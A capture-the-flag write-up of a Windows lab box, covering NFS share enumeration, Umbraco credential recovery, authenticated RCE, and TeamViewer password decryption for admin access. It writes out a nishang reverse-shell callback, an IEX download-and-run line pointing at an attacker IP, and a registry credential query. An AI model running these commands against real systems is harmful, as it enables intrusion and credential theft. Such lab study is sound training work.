Easy Windows box, where the initial access is achieved with credentials found in a backup, and an authenticated RCE vulnerability in a content management system.
The vulnerability used to privesc to root was pretty recent at the time of the release of this box,
but I had already encountered the same one in a TryHackMe room before this one.
Regardless, this box was fun too!
Nmap results
RPC enumeration
Applications use Remote Procedure Call (RPC) protocol to request a service from a program
on a different computer on a network.
The rpcbind maps an RPC service to a port that it listens. The RPC services tell the
rpcbind the address at which it is listening when the service is launched.
Scanning the rpcbind on port 111 with nmap: nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.10.180
We find a share called /site_backups.
Mounting the share:
Contents of /site_backups:
The interesting part here is the Umbraco-folders. Umbraco is an open source
content management system (CMS). So we now know the CMS the website is using.
Digging through the files we can find the version number from Web.config:
After doing some more Googling, there is supposed to be a Umbraco.sdf-database file which holds credentials.
Quick search on the share, find . -name *.sdf finds /mnt/remoteNFS/App_Data/Umbraco.sdf.
I tried opening this with LINQPad and SQL Compact Query Analyzer, but both said the file was corrupted.
Reading the database file just with strings we get something interesting:
We are now supposed to have the Umbraco administrator password so let’s dig into the website.
The default Umbraco login is located at http://10.10.10.180/umbraco.
Using admin@htb.local and the decrypted SHA1 password we are now logged in:
We get a response that the Umbraco service is running as iis apppool\defaultappool.
We can now create a reverse shell with nishang.
First we need to do some modifications to the reverse shell.
Copy the reverse shell to the current working directory: cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 nish.ps1
Edit the nish.ps1 to have the following on the bottom of the file to automatically run the reverse shell: Invoke-PowerShellTcp -Reverse -IPAddress your_ip -Port 1336
Setup an HTTP server on the directory that has the nish.ps1-file: python3 -m http.server
Setup a listener to port 1336: nc -lvnp 1336
Now we are ready to actually run the reverse shell:
We now have a shell on our listener and we can print the C:\Users\Public\user.txt flag.
Privilege escalation
I used JAWS to enumerate the machine: IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/jaws-enum.ps1')
This takes a while, so don’t start throwing a tantrum if nothing seems to be happening.
In the process listing that JAWS gives, there’s TeamViewer_Service.exe. Supposing the machine name
is a hint of sorts, I started looking into this some more.
TeamViewer is installed in directory C:\Program Files (x86)\TeamViewer\Version7 so now we have the version number.
This version stores user passwords encrypted with AES, but unhashed, in the registry accessible by low privilege users (CVE-2019-18988).
There is a good blog post by WhyNotSecurity that walks through the exploit and gives us a python script to decrypt the AES.
First we need to get the AES encrypted password from the registry: reg query HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7 /v SecurityPasswordAES
Get the python script from the WhyNotSecurity blog post mentioned above and add
the SecurityPasswordAES to be the value of hex_str_cipher variable.
Running the script we get the clear text password.
Using this password, we can now run psexec.py to get an Administrator shell.